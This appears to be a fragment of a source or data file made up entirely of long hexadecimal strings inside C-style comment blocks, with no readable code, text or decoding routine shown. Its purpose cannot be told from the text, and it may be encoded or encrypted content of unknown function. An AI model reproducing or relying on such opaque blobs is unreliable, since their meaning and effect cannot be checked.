b86b871e6b3cc05308725ccdc2d02a47eace3926f6b98f2857b24f002c17ae9ad12ee716e9591b13e9e583301f24d0fd64673c6e0457e4611cb7249417a0bbdc2d4b064b60b9205fee421901c7105e0dc5f313837cf7bc667e33f5f9b017dccefee79e2d99c5a4a26fc10caf926a0cee090b3f10ecb250fbc560d212864c9a3f4539198318dcb0e84aa6c8bce483d1a1b46fb00a0e8e96b0dfe46a3662394d600d8045a9f4becdac6e6223fc0b74c037083783ed0eea07e9a1e11522bf2cb1409510497cab956c2303bbeaa57c5f72f7abe90f427f0439305d226bc0527b74cf499df6adbf7dba747bcb41dc45d8e2ca258d038acaaa971e0974ca11651425889ee41065c0645aa71d4f03e32a32b435f0cfee1dd337449b67c2be0b8a535d54c8d96224d3f935c3d489e620769835824cb72ee4616b2935306a5f9432a66103375c986213952797e9f73a54853bc35c362057b0393e61e8829cf8bb1e1f88af1f8238c8122412eeeb281e4318f05ac723f0818727dc35941debcfae7458d272cb780c8e93f26932017789ffca56471887149d43bf3528b20b6616b8edf28980da5d2d841f655b8e9ae8ab05496a4d1aa2f19aee62c840a1fc5d5e51c355fd2a53af235ed67b356137eacbb4c7a997ad54e58ccc2ae08d5b7ced91443b1337dddb1f207a7efef2d33ad2bcaf8cf8fceb58f89e8e93a0e141c53131f380e08c0433b5ccdd407f4da080e9106998929c8da4cd869ce50326d26dc4ebe3ab216b82bf4ee45368b9b61f2ef2c00bca635b3951f61f75a69eaaf0c8f35679677dcbc5de715610a40ce56e5bfea32937ee9e44977e9eb6d82cc24862dc697e7373d4d71dce3ba082b3c8100c9189561669c5611aff31113093929c083298246f75e4fa7fd582867a3c7625de1210bf62b11ea409a02764f058db8f75eb0a9f39a86513c66b263b4743e69cd34b119707aabc654675da26dcc132c8e450dd536f27a31bb1ae65dc7e5c6c4b4087af23011dc306ae9db7487922c538005ab40c4b4d0d73582c056257a47765f5b16e9439b6dabc79df7986ecefe4f8a6d65e895a9b7854f63709a68b89111231efc179642916fc55ba0572addb53357cffe4f572c2c3f8c8a38d3f16f3098f3d8b025bf6171bd87720408fe243b8cc4102f1301de6c00af7a84cb16a4bae060c5cebe24a598b267439b9b8922c158cc9a582b6b6c6e2738411f19c5ec435dcbe3ba33b165aa1b8164978d7f3c6ebb5df5ba2e87ce1d61774cf92428c1bb279bdbe2dbcfd02c9553c288106d87cce23b207df5e474b998351d02e787dbcf754dad70f287579a608424aadab3c62244003673926333f3251c8979bbe1bba42b8e8d118f89c351494a1ebb7a9ce90240752*/
/*2b7d9777ac4c6e492f444c55fd2ca57416c64d76367a73735f656ab41eefa43fc29d6b0a7a8854f85c1db3f0c417e281b13d0aa15d7ade8ff845e04e18bb6d3d61b3d6c538d51e4f67dfbd39b8ccb3f41afdc3dc1be61e86e42705b4cc4f92552e7ef0a1b5e7ab36bd6b4b9ff287c2276a8b5bfd59c489429ca5ff32f280285daa4d4a4b1e3e864a4f93952b44405ac1c4bef11eaca1f746e10c0950eea8ac48a03100e65f5f5f550861da14f5b183ffbe975fbabdf01ff65afce82a65f2f7a03ccb0078e8b7fc68d159c949e70928922a76808fd76cc16a3f33c8f9b480ecfe32b9fb5569eea33c67cfdd3af8123fff3e6cba344b5bd0823014cfc7ddcd19fbd37ad24d05b157b3a39609c1fe980188f69973ea3f520bd43146333ce328e08beb6056a5916f8724e5da7c1c39eb45d62cc14377096a47b1e0f66433591aa92c0537e1ff13da91e669fab12c837bad6eacb1b8da468c14a3858690f9a4adcd41319a0cc89e131e1cd49da73fdaabeb33a0baf9cb1ebecb49341fb0af91b7d6fd88ac16ad4ee8e706741b1d19025208515a156882e4933b60deb0236fd825d230ecf14192328d80c61e084c09ff979018b5315ab6ab1e59fd22e33912f6d012ade2fa95c1f496067478a896542ac0ed294732879d9298be88ac182e9ffcd5d100678f5706c2bbf2bca5b29d626d8d0eec9f9b55a190495feac7549df28e7036a6619f6035c7a257a1af8a38d01dc748e9a9b86f1fdc127a320b374cef20b50633509450f375b89bf67e1e75b1abcf45c8b03f038d58afc1717bcaa299d3064b68e18d5810775219c80c5e6da894c530e525fddae5ee8e5c6edf7f446f45f022c446f6aaca7c78da99804038c460f02e5a340e49a7025c6aff6151da7c6b676f5c93831e55c7961ea142fe28951bfc0b4b95c833ddb2f18e9896ef0aa047c83dbe60304c1637ca6a0f875d69a5f8ee2ba589170902999dd77e028575fd4343e83431d7f0d6de6db2ee6417f01c6158c39004708a5ab0bf79654a84f2e3037ae9ef26f7d7d0736a1da07c779f560fd6e9e6388c6372487815a9e48f3b74c619fc4244157ba5ea80eb5002b5df35168bc02e5b6d50ef927e4a3008f923e90151238317338124b879ee1e0da05a02df37d65eb6f90d87486c46d9c5600ff4e4ecfca1e3affec265cbe11f136cff758f4a6db498d828928f7c199ea79f37c8daba621ece921e6f7c264f39ff05c54bd7da7771794b31214723b9870f06cda0da983f85dedc8377a27fabe7ba3c07c3e60ae612282b314a5b138d1bc566d447915580f77760456258d105d0c9c93520fd37c63647ba4e6335a1cbcc00dddfa3e4fff5a54b4e5a51e18e1813761a47651889af75a6f475e15b8794c22426dfc939aac80280af8214abdcfaa70c76b024b3bfccd4a6250b829c5d8d8b2005eebb295b8b1206aadd924b43a31bf3bbdecf8e1482e433ffec0aa9414b153f54ba55c857f88ffb9e733746f7c9085f471a16636f50cba57c6c3b988047a1e587f5f90a7f0c4b432179a58a6ed40c7f79f15c7646301bdccb7a8248809abd3af00913df0c466842b4df3ae612bc805f813573797ea17da9816051a26bb558f66bd705df898b7588d3fa4c90d6c3c93264921afa47b9eb80c134977fcd2f437613c042e6e1b1cf14927aa60c205a05339993f75d927ed8225925e055a15efed62eec642b44658104d304e7ab579ce0dc1cfeb351397af68cf35f8da977266b00ced1c3b2055fcdc45ba94f408a345b6c198ec1e4ae4310d078bfad281f570040b89faaa70b7a2d85719bec21f4b5c77c4fca6a1f1dbaeb72a571772ad286580f3ba604bdb26b17670cdec4247114ce1fad457b8b974594ae1eea8beb8371b2365a021b12704a8b7a99ed1f98d33625dd88820ab5222491229fcc79314c7a8a32d5385709974ecf0f16f9d1a5ecdbabc76943a1d6e25ab2a37f96d5c839ee438c0f7a91829af11ee24f33e9c605a5afa3732bd66ed8ae832e45552eaa5fe768d34214107c1f5c205579b17517f26f9f0aec6e17725bc1ff3814991c8c5bdefb3d2072f208fe69b51bfbf715d15760c37d93c1c84ef5e07db0d0fc2589dd168955c73be9f4149d76c7a9a6b1dae4f75c6471a0a70e02341b2968d87aba343b08ea8d791dcd7d69ad2155f5c9df0b15a42e879c52f6ece90e66ec9aaccc4138263fded4def85837e4c6c329d221345b69aa9864b48536c86e9000f9f433bc708c3ef40f7b12f83d1b5aaa35b502697415c8fb95025d1b5366504f8f4740e5e3a4dd1ba313479e152210892e03f99e516fb7dd9c0ee9d48e05f8dea5a18792c96241bc2733c0fb00c0f4671ad89dea2363d998cd08ac68155148a25d78bb8aa360313ddcc1823c812ab388aa9ffa8e5ee48dc3757ca1c91b6419cef230b3e42a622b3afe1372bca367468b63f3e32fe40bcfb8794dd092040fcf0e65e24e11283724c54824a758e01c6881f57e091d1738a4c251562bae6a074e9986796c999d2f41f16151d72387be572d4b72f18a938c5bbfee59f3771a60b61effd7a9019676f300a90ed81c43d63c41611b5a198d3ca45f1976ab86606aaadcb10e40a3009962e43c1a880bfa3810b206b8705f170cffe26a5afde7cc1a7d512f804810b65bfda7181e7f399087fb806758a7d43fac2ad6dce31a186ee926e788387dedaa9d5cdc199b643aa069ef2a8acbc021a3fea659c2614ac6a7cca3ccb4649a48e911b3eeb81653abb9f41e5f006a455dd0f97e0f36e5caf90e040fdfa84d966d5608bc0ebc8db92763c5312f4c9a9cd10bbb5ccbda4f59ea0c33*/
/*8613aef411d94212ed17e8f836a7bcfa8d292f632d1334226bc2727d8d2121656baff46cf8b32297579ebbeff302cb69b3518148c90fa7b3c96974a62d8e0a91973090b5506018501820e1176a512d87d955b29c9483e3dfe0824753df6075c9b81d58ca7d8917a26619ed9795981beeaa60f63556b1ffbe5ccb61a650a9974e460b1c0f57c246f40c51dc89cc8fd6c944d65cb00be6b47e9676af853d607dbd70c741011ccb62c81a1bcdbc47a3a7e05beaea4ec95bd612dd603f3d797d4c4dbf99d8fb3d43859bd52849697f54cb782767addb24034508fe02b2bc2c492016c03a75e98f3442856106a4493f0f270a3ad3e8075b3b3f9d28b5826efb3dd0fc1cc5b32e4951209a37de74dcd78ba0e06e6052f401e662aa8b92e70ce88ae39a154783a683b83b323ed1a58d239debd96a9475428e4817c8b0d3727dba0f85cd80481daecc35a5486ddcd03edc423989f4c713d29ee262cf66bc8617313db6de2fc104509e9900f437bd288a45c42f0156c987dd637e1f6c5e50f67fd15f9921f31ec01e74ce1aa5645d137e1a21401cdcf78be60e87f191bbbc8be00eddb0d659a157422125c88b4d40da8329ec7557f7471a3c30511510767b41bf8f503f06794a98cf42148647e7ae135a12c1658779c5003ba7f13938d581aede1750fbb82924afbe316a5959818777dc2cbbdf9740ff4ba460624602d9c61627f21ffefe1f2567c6845483b92e17da64b5cb6b29ef0bdb839a51aac075f40d363b02c077127664f4ae7dc29e0dbe6a7350f0da4a91aafda3f86b3e45a9d73bc2776c461ea260881a8a33cff6657885baca03ba67d015417bcc6d7722ff428958491dd8891278a975c9705cd0d79d4284028f976a92e3f97f34f88479d5ddfa258cc419d1ae43dc4ca046368afc21cd9502606b1451b51833d24859206640097a26e563604807a299e1a7e95ecf7e4955bb93fa074a483e20718392037bb83d40ea7196a36b8ef081fa1963fc826624b5487282872aa1dca7c228a64a496668d13074b8377b301e31fbe33ac19710a7a05c9f7dca06fd6eba774c14a588044a6dacf75811cf3587790e20669750e9d56e9c253abbc1e009898ec7f7b2186f0c8965a1c0e6a365f5579833bed727208cc3b0471b7a62426ce6d6c383588f73b351506ccfa5cdb59baa0f2e98145ef01e86e7dd62eeb4fa1ec0ab05d4ef95361115660ddc5e88213c2e87c424c8f696068648ec8e750fc379004c40f2302b382d73eae4567ad4020c9cc8ede31e28ed26899b0dcb7d8cb63518b51b58ec035a6e67b0f5af7982d9f931c970caf542fa4ee2ccf727a75d95136e61048233e5f774289376549cca2963e639f6b03f709b87db7c41aae746c76b53aad36d2434c11d642f7dbcf9925204ff56fbc111afa88d30cfa2cb37fce9dffcaca8ea32b8e5aef44b757c1e377372e0a349ce717b7ace71fa736eb334a09f783e34f2b08f839a56bf9e28e13a7b7bee27fc9da7a72f7a62fa6a050f2c66337973a84378e2a9aa2584f4e46b5ed4dbff966b5b30a6079c721942e089f1c61d56bcd0324eb16169c39d07b031a0ff90ea244be91804d64a2ceeb56754a99c0bd25216190230930e83271defe1ee2ccbb340d4ec97722bf7d0e27cd128f41d39f7695c0884fa99e8fd2307735af7fccfb36279f1e8fdc962d37273ea8775132e44ae115c1e8efbfa4f4f78bb8bccd39468e891cd7fba5ef09e6bf6ecd1c4ba6e6c6ce4d85f9a2b19ccd4d3ed943c0569126c10bcd46fdb3fc33362748e8dcaa44470f670ed155be22700260ba08721ef8f93948ab1ca63656899ff57d2e25d11df5e744260a6f9a8c05c68bb1038ed8945a0b737213d049d9fdb44a4c960f4c3ef559d6cc464137fa20cc99e14a49e4e771806d5936c56729bfe8576c18a12c38b06ea30e23f73ad304e67ea4ab05110a755daea2ff6bc3fbdf5fb79f99ce10692f89ddc9932826244b78ce512b4958f8f69ca51327cc9c8059cccb2304c5fc4a8e521e224205f8a506a10372df9b31c925094ae1d3fb8386678b3b6046a9792524c26e977f9a9326bd714a470341a00ce4c665ffc733cf73be358226c3486eb719f122961feaf04267d12716d76ca7abc3f383e0458aec639e7fec67466a83cd56297df9ac365d6df8e18429d5a967ca9ab706e0d9a48bab5b1e6d563283ee1a34d0e68db60321cbce3029ea70a55ad86d899fd1becddf2b36446ab59c57ea3750ba1d6486c87e87fa7cfa00927926512b9efc6dc08f3f6e97f46283ead299a573d4df4d0246ac9e5cfb362d617d1381cd4c176519704d08288d236eb2cb9416a3300a94c53e649421748c25795ef611da9a249491bf76af93b3ddc1588764ea6d893407451ae7e66a923ac27db9ad15fef1b3a1f955f8d20d55036a99429be1cece119e88bd7c2f485f23362dbdcd50a15767562fd6ce6fcb214f9d3cc1fe1669b114e756429f8089a9bcd2f9339867dcdb787f00f00e5bc03e6d0bb18e20ac59148e5b929f5a01a70a2d3a90dd00b321e34e4602fa5046611c97d2dac06a5feab995f7c295108f551a42e06d37c54231d57b816ef03a2e9fe331b9c25f5fec3dbb792c74eed5117fb1f91ec47e56c940fbd254f1c89fff24610570c4b0acd583605ba37920d3bdd43b74a884d8ad1d11565d638612d7063f5d9fb28572aeeebd68ee27a2ebbcaa1ff42774df4628688e04b0b5ea2cfee398e59ee89b2d8e005e5b7ff8d0ef6f0af91bc245d8b3314f2b241cda8a5665878d70746f678cbe318bc1da196f52765ed72624f02d419692986a92f5844d1662cee91bcb0*/
/*2990e41c41eba41b4e0a6d1901ec9ed293abd5d947a54732e877f2074af8f3d3efd929c3b21d5d0974a324c2a020524b595da52f3923faf48de4c249d0894bc7c85e1824b352d5a523fe5deb4eb0bb07b03eea1220d3de7a5987e9ff3c547be10b5c3d1121d1d057d6ebc615d8b72cbd2b830b02db307fa524954040499f02610e2195a502bc4758281d798de6f374ba507457b0c96cda646f48e04e141ad3567de40185cbff654752718d6e6ccd40389654cceb69e2753f3d6802ec239e647d3f0f472712b1d8f7611529845ec45bedd095d83bf0b390d6c97e08785c14441b6ce683946ed5e066189a3436fe433ee9325699800a8458b24fb78353b473980ceb92b5edc0c5e83d99994bb7571ba15e8adee5868e4c64dd2d92a07eec4b3d81959f55cd170b1feff58e9275e156d0b02bea6a251d441abd46d5b0fd9e2f4ff273108a5e744cc1a078775789efedbd1db05153d3841cbb7060afa4099e1159e51ddbde76ce1b9c8d36426040ec7dfd1cdde3672014e38431cc9fb3b0095642f344ce237b89c0212035bb6a0ed53697a032c5675e19c541690fff7474e5c917caa74c4de1e80f3cefddff96b1d63f3c6cbc63d9eb1b3f60355f762c2b802d5e1ecc906922914011a6d93aea8fbf430f96a373d74d020d9bd3106e5f2a1944303fb9951462516254b82badda85db91d9b2be4e5f570ccb6434d59e33b4fc73552efb3cbc5f6beb364efe6c7f78b88991a6516b7c312df4b4132498984e817f847a5fe0d91cbb1c366b1637669fd17f366b2c8894bf4aaa13559443e7e4764233d7c4ddb3664f6d85800982252b976d05b36dddb5587a4ef861bc41ee13f621bb64cf2444b049c717902f583cb6434b60d0b63e8e9db3f273c1394939c58f8cfe1332e27d2a3d9ac914367cf37fdc96fc4db3d13773433a3dd0d120a25b364a40663675a2fff6a2870dbefd0abada63cc802e6b90797b2308f2ed32b8dc06312bd0458427deb7e743e900035f157a9fa3aac7868b8f8098d38387725f5233cd27737a50b267368939c969fc7db2e0584bb8d12966e345d7e0b96624a9c11ad310447c295372d94e10c9b0a68e4f4743fbed127d714e604b46ad28254eb7ff9f16da9a94bd7173b9795de5d681a4e7550d78182017721e24a9b9fdcaf0e092678f51010fd9e2fb0495ff746d4f9ecc350de19bc5f3e950171602c250361a4ba84aaae57fa1dedfcaa85d1755086c12ce90ff50e25b142a1e372abf67554a06cd60d49efb4da300775208e975900e115c0bf086606ab4df6da98c01e5fbd5c296bad36a7073687e40c50971e726b0071c5a3d30fed53ff12781f80034a53a67dbd3d666c38bf187126e72313407f994a9a7ac07cb10e434b219800ee165bb4b9a7ea7d41e138ca2fe5fb632104854a3bd054ec12cb9153b27ff9193c00f122e2143d157c95eb365c42924db5346b43b2ed29b3d9a80926d6038e9a94cfb22778e778c5c64fbf531619c88ec96f0b3e203aa374d05f7525f5c37b7beedb07bb0cdbac76fed6153f2817c0f5fd251f709ed7d261f432026c3e0f247ae939b71e4c8bfe16f5bd3871dcc2407c2f20312a226571d7da89bb4af8b7f80256e34a812860ca7453f54d5524f43bc667f9b7f1d2ed1c99b5c19ce6796c6b65f321e44860344c15fa0e7fa063c9292b4257bbc5a99e2e7a195f8979c24311b4931042b62a9d92a057911b6d266b2b743bcbb8019df2108815350933ca7f6a004480dcb4e76ea7a037a93bd46f7fc9c3441edfad221ea1fcad02fa9027ed0883da05d456cf725767b30ea6e07018fb2f3790363412fcdf536cf3b0db3e4e6700bb69310bc418096672a9607b1465abb62a2dc80c8a6a0b030e817a9a6c56bca58690bb48cb604824c25b43ccc591d162d3ee3cf7489c5af11facd92ed29608313d659e193f62c49e67e394cd35fd3e29e48bf6ac47e72841336a1e34b01b0d217b8b898fe27aacb418e5a8b9c9e29d79907617307b432c1a0baedf1235c087ccb4a5712507d57d6493d0bb2930874734646f6c727784240d9c6dc1a0bd2fc093fc73a1623d21cc8de2583f2b80790f166164df364e4ae45decc8d64728b1fba28513e280e3f7868ca229669b220ec42739743c23b2811fed553b3b48913cebded8c055b407f843ca125027718b4a2b7446d3c951234edd51db7fe705d3569c413f0da7266267895a254c879cdfe41bdc6b1317a0e8c3a240434778e7a63a0090f965ed10a6b42e18f508a6c690a9eebc0ef9d359d4e09288fe65d5d9517a7cd897157b2dfa8776dc4f70177fe6b77b49628d8c1b3cd24d90fa9ce9b4046b4fc8a0cb19c74e99318e42555f880579aedf50664e6ce3629f311e63ddff2dcef432d19fa1c911aee52f4e773a19b469a72c62dc3b812ff993497908fed7101cd2d2987ec1f68d77ec71dde1a5d4de63cdab4c00168642082e64c0c75d0d7f5008ec8b238b8054cdf321139b19ec0b185f597907e9dffb3e50a97ac707014e95fe0a5707617ccf049372c7bfff4572efd1b10e79118f2a6e3d5534b7fab8a6561bd576bfe0a063c5b59cf69845192ca42854121b1e5b71f4b2a449b0b6365e868e25ddddb4d9e11f06671799b6457379fb8e9383931acf20b8453f05a1dd4393fd8cce5a8573101192a68a70b147727245a4745e3b547573659c3bd313c4781b68b83970fb6899b03ef5dcf63d976e8ac39e993a96a2559d045a68137bded9c33491c4732425fd416c78a93e6a72d15a39052e696768c2f68a9fd5efd75a2dfd911fa51390c8ddfbebf0c0713663a9b6b036e2a815a3f06c90a*/
/*41896c189784d5d0b03911109af2f39a36844ea93d01e952b2b6ccb2f7c342ee6f96a306fc0e348b187bcb05e0c60af217754d90e0e7c7df9c117cfe44ca3a5c1ed3a5ec60d30539c7033aae5cf62dbc5dc0d978bf58f8ac33bca4a7b93c2d0a3f5f93ec80ce68c14ec36373f2a301f19389be736874edb01fe26bc8e33cbd6d3840d15331217c9b44ee425da086dc6dec18e7376cd3c05f1dadc5fed14bc441ac0e9c21c7282a49d16ca91900e0d1232a33ee87960546850797f5f47b1d938060a42f97dd995dd9f30f8a5f35650df74ac0b877de63675fe4bab84c229ee2db08a919e8571ba5f79f3a5e118e239490dea6ab8666d19975edd2bd0fd3d5a189190ad1460f901b889b7b9f26996b21cdde1348260ea3e1bce36ef9ab2ee6369df75b1bb81c52b84bcdf07efbd00bab17576a23ede4e0eab9cc89f7c4124f1484d5701ca4a29aee18cc72eeaaf5904b414e58104b661499c618587a5af079e999841db815179201f168b27979d7a9e027ecc5b6efe986d40910739d072b99c319d475ab449753fa0c0dcdffe3092f1fa5f35ed08089c5ad6c70b15f90fb087bbd531375532e6ab79b36a30fcda7a18a34b5130eaf47c0d5471cc61e25397aa3910461c42250ae3bbbc7c33ec1eab38fe8cae5bf5adef3491cf9f8f86d1f83606417280bf856cd34d93444d488ba04daaec2228e6db473b537cc3545878a12b6270bb4096aaf681edf1479158a035590d99d486d8dbf72ae1f6f88f0bfb8b3ed11b9c6b2cdb80a303c0c73852bfcdc10eb5568ec6b4ced940836624f70a0d38a5210675d8f32a810a42759de74e2fa2ef77e152be9b8ed0dc783f68b60f47de1612cca447682bf4178a971554104e0028094671f6ae9e086d0fb7f7d05db6ac7f44ac5f1b92c4da7518d950a316ed21295cc61c9feefc700794c11d5c5c2465fc0789a33dc9bd37b96c3fcf7f46cb18b30e7c781ea3cb72978632feb90e2ef7b2199670b10ba69f33180cdc1020176715670ff4aad8d91c2ff156f80dc63325297c3d5da53ac0fbf9be022dbd39d5f25daf4cfa0b256259fac5c3f1da54b05b8d88cd2164b30aba68c96c1617e23fe9ca2c94e0491dd53dd31363949afe3506b6a229cd6975ec313895bd3050d9823af21c94feb779a287446088da40b6babdf38c4b87024769503b94124fa4fdbafa7df5ad7b7001f6c2189348f3ccce3feee6c2a472c86fab2282be4f8551cc4c0e248b27c14c9af0e9dfb942f88ce5de068910a81112ef61b58b071fa7826195070d1d6e86f72c1a83abbcacbea6ccd6aab1cbadeda30965f3133e10f59a62b0638b63948f588574f40eb0ca64771c6ca646265b6f851cda0a6b9859c913248db96dd78116c55a42e4a26d16d538adb9f848fdd0931beaa0942c95ca205cd321d73a5bd028eaf7ed43941eb0defda874627fb6e2716a0072da06c37c5405c28fcbdf9ac2ac4157a84bac23b1faf6a937701d7fa6384019e2e70f061f74f55cd03dc674633335498c968218850b16b275064f4857b58548178bc5531ff39bb697b6f713c45e57c1b9f54884f340c6edbf9e3bf1ed67bc6b2505b9acd786ae0f595253ba60e01ecb1a6b929d4575fa9019f06c410025955418ce0ccafb9a9e5e5db8650cac7b057e61e81ba16a8e225dc85d05cd1a3358e65c51595944becd8c5d8e18d136e95f4f29c4032e75601349d5463aee8c6ce03e734ab6f08356485d8d1914053204dc9825b8b9f7ba663bb5beaf6a811f3a59d7c832d2cb397207940437caa152493a6f3b27b91861c6841a02cef78c97e6436802ae0f1dd820b810e730c50eee23a5f78d4926b236a5d5e4d8b59d3978add8167a5f5a54536295d8c2b877e72145ae37dae742a6cabb4baa3a88b1ae127d34ac6ad891c75a31ad81d70dd91a9694cb8833b5d1c7e8fa34a6ec4a276401312adef3dfe7f84a1ed3d24f37838b77abe02723bd9142b05f67d1c84d2c246ac78d893af9c54f02d7cc8468ee42b57d3cd2a7d96632269d51f1e0142872622111b6e183d4d91776a6211e56bc60e5fab783f78e515e157fe808640d1bfb6bb99de620cb8a2720c7cb9083117da06adf637cc218c8aa2c7a154283b399a2a7e71d63f0c189a600aa3dfe10824166d12913bbf4d1dc3829725104283b4ea7cf395451aa316913cd8c4625d079c8ce9517cc5d422076524d5009b58aaa621ea2bdd6ccec69dcb6e3f97d285941d77a13e6a1f08db37cd8e1c9ce5b4670b7cdb1ff6f8a264b7086bd912e94dbbd3ad5e1e2512d8c2929fe3e4164b0a0e96b93dd80d42e5e9da3f4bc410a4177a05823a1a0abb241091ca8c0b328b3e4dc169e035c847e61742f805c828a0b81022a1e6a1268a1275d8c4e279b8117b4e75f9856da70b2c2eb24c1bf81308545b5598f49253c53dccc0449044b2a752f331b99ea288bf0338a18de64506056f5df260e9e0092234f3da0ba3a88295a94cf392d4dd0b116665fcb776035e8efebe4598de539f831984bfbde7080c9948776120f463435cdb46835c4d756500b345e859d358d27bdfc69b340c6ebc206ac4f913d9f02bff479688ff0379fca2a5c5ce039a3a099f269fe75b2b3fa73d06112e21f02e79c07f93e4314c77ea84a53f591e7a228f66f163e7a36f06cfd2e36dfcd14123ac51cdbddb705be3dcdc0118618e949ec439e253b3d41a4f3f19a21e41a50e08ba9821dd474266bfae2eac99998ae3048641f0b0e32684dd488b203eb4b120392d2ccaac191a5c9dcc8b807bdb14b0fe66d56ed257e978e6be559090e2ec3fb6d091409f0b301363f532535c2babd3*/
/*d08f67650a2d3ba9f84530dbac3855ba79a5b54545f6d7e950144955e66691438fbfdc60378cae071dde22a217e9fb31ade1b87c0606426041e2dd14697f471dda07d42db62bdb5b21c20f47e74b41d1f6fa9e5a3c19bc2adff7447e33f5e900aca1e34a981366f68a26bd2cf2bcf29636c3534763c2ec561dce2d2941ba72936dffe1510952fd5aba65e59c2c371f124693677cdefe71aa588d5190054b50c38065a8a04dc4f8d5afb1c6fcc195f0664734e4095c195494303cd2f8abacdcc3804d584107b84bb29795bb888d8c7ba3ee8e653052ff3cf913b1af6f6e860b55bdf6b3a9a6c8c282889d20ba6606f9b60bd664724eb1afe01cd4d5bb9ce80e192c645ac1a7b9071b4d8d86b110d1583bf862f097edc48d8204c1dcbd9bd771d21b4858e4348e51b0a2bc28e7f81f0231d28a57e21ca24e8007e2e71e1c44c98569784635d714a826ecf0a65ba1dc3a5e0c12c1de2f1ea659788764ad3a0bc9de171d2b5d93df558caf12e0615f782750fe3ffb4dc2b1625ba4b2652af3d9eec747c20599586829edcdaa2a67e7da8e2c549b0a4100342bc5096d8dbf62e3251043315ea9ab54970cc049ebf680a6467b1b2918a1a8ef4592f2ac470811242f950e173c909baa28952a2a8a363e2ceeb4ce6b46015f9bbc1f75b976a5600ef254f83c5b0e2e6e0c2b715a5148c0cd048a9fb92ab5f0060d2e3134c902a40c2ba3d0f66a185190cc83b9f538e82d4717a120be37a8b81a91772896266f76b274a16bdc45a126304eeb7b71ceeda6cd07dbdfe6a61df606c43c223b27e9c7b91610736d611ed822a6b998c00a766d03ad1d920d57c8c6265bbaa0e10fcd6f871ebba2905a6057e599e94503dd8ed9a17b13ff00f0054c002386c71ee9d8b113bbd34006117dbe23629e683ee8e7a06e183b0189237d3fea3466939dbf1f0b3c05b0cbd0409d9b540974443f55d9b2734889004401b6adee9aef8cfd2acb502a366cddfd4871841ed0d9a25f0203b23ad63ee689fcf325bd67827b1cbebc2f9dae11153d1b22d01bb86c0050a983d1e57a8ef7ac372d50a7e29cb5a53734fcb871e91567cf189240c6a85bdb76368105ebef4a623acb9494b1c2eb0beb2a2832a0d52af2d2b8c69884e7ee5c899574b600bb1ec5e228e3f5c6e8f52c54d0ef6fc1d1ed75865626f2e9236d4a11e1da670c765dd4ba50f097e4c2d72a301f993f7d04dfb2775c0d9ac40752c0e79aaf68f4f0e108747382ff6013471b0cf8ae5b0c1f416f41a722a8a197eda69de7a25fc295d7253d9c1963a357017c0ed4621d72d550c157156ad988e0716e10c4deab76fef31a1583af80c066ff1f3c3e5bb62d161baf3af2584f4e66c41ab26e60f46b51c16e55d6379c53c659557a4b494b86b585b1f9e2f52967b1dbdb4ebefb5a8145e9514d881d4faccbcf8224613a4b3e7d4f81c6f0cd8d2699168bb95126e7efab9f505a344473d1f1e01f0ff7a8a782ddd60c0926b4b7b65b1ffce8fe01dbcbd3402c26ef96714192327bd16c10540da064294531b166bdd7f35cf07941f841174783cf7dea3cb7c96bb17f94a4e1f157298f8365b4e52726ee49a2e29560b02a2cc89f6e91da594f0e4d3d68b809a436251b367923fdf41c2b34af61f81c79ce62ce9fe94c2a9c0b27aa36e2bb7c83e33ada71c9783b9eebdf9aad00d07596583c2324c5186d269cc4eb4622cef408d3294ef0e868a79f0bcc57db60f051017f114662f2f1df471440b902ec8ef7773800a51b805f85007d782e2ee92c4d097d37f45c30c55c2b55358fd83b3a72a8d6eac91bc2259e529ba47bfe65196e9b80b7aeb16b02375712a2ccd910f4937207cf7c6daa7ca0f2188f32588685dc36c1e1b7c989d544cf2cfa2b685d47e58df335f33dd66f29605f58f1fe46d5c7156af47cb2302f68aa977038c2730ce27d2851429a1bc3418f4294f4f77e684fad04880d18fc2239d80d807bc1e4e5a3f6c447751ece9837084691661a242d1a151081000a1fbcbaca9ca653fe0752e4387ff7a93b162914a6920ee938fc22b0537ec153cda8efa513140da93e30154230423590363e59d774682580a4e9bea85160a856cc7e506f29ae54969d56114de8be4aeb536f7255a305bece2a10d466ed065bc1a79369a288503c19e376051ba8fee2da0f57e441b71c476c5e6bc3ae1d7c54a937369ad17ab23826d0893e6fa3e5c113f944beaf95397f1b7c18feedbd5b0c3f2c2858dab118c31a4f0ddb78a966098c8038d2e88fd27b0b243644e94036cf9925be7cb5de06e7963ceb929a50a4d7fcaeca473f8c8109e50bfc31ca2ef43a5b04e20e3d8e8f59d2a269cdcd19bd143531ba53dc586a9c9c4b17902bafa44bbd65f75957d78d1bdf55b4952e192ed43652dde9ffd9f8a55a0e46b92aa33f99877b45cef211790e306a01ad05ebf24fad73e4279a691f537fea2ace53b4d791be58e106934c4fbf11995338d78fcea4acc9fcbfd7e6c5f34e21349af926e07511a3d81cd1ec5855bb997f038807e276158af57f380c9e873083243f3e58d6cca4cdd56301559745b77668979cdbae0a0f2c3fced52587b96d6bfd5957365deccd45e7e84d85bd39812605a9b8ebdcf25e2b18603bd0847035ba72a29277abca41f4801f0dcaeaa33d1569160300df1dd315b453b5ac1e13c75250f0013e7bc57142ee7eaffd4f3ebeaa46a20e0a4ae01cbeebb3801822f72d4ef7208c6c83d8f14d36508776fa9edd288fcb6f5e5e18c820e9fbd61fa5ce0f361ca52c515ecd55971dbd3ba41dcb5130c32ee30a784379c0fe6e25d8bba6b8d19a4771f424*/
/*a05da5a92d5491d10e89311087ccbef25049bac13353c4f81478a48ab91380271dbb6d6382833785e203bfa25a17318dc176afbbeabf693fe491f7247639613168c8e7d75a61088322806773202509af2252b2635dd6196355c53e2a3e46e3e48aa7dad8bc6cd9581825eb1e05cdc44ca6634f27756f10407f139097d464a85108739dcd99a502230d2610bcd80b5fb50ceff4b2d912b1d569d9bc520f57c4381b11ba66a84297c56dc2b8f23bca02f01e4f00d12f013a2517a5e045320b7e666fc2993f53f0fc8d7b181966d622c0c5b8f727858545814a3f3a7c0b6f18be56cfa3ce293b301c2f34f8249e603c7482e6f5da3ec18d562c9e786e6ccba2f88e47afed09399d78cc808f9e0cd00da88ca40ab3cffe7ded8fc1b1f3bf174a481562371555ec0aa93e870e0949a70c6435b4d65c46c7bf990b0fa803179732eb85b725b46a86b74aba9d7865339b5fe21cf4c27e96a8f3f619544132de91e841eb9b08d9eebf2c37e7d8ffd7367febc44ab4f8ae93a0cf97b72ba7eeb19ec28853f76816ebeca6ef80706bdb69e7bdbf9ec16981bb2b626c4ef810a0ad0db1f0df52512c05ac4d4e95c745a01af9982eabb8f92dc4c45d14f29e99785dd1b53e31b083ad42ffec10c3aa21e1f2f58b95a66746e07b552ba84e5e99076849bd94acb5d63946af885de8d0803b9b0e6f51e8483b1ca584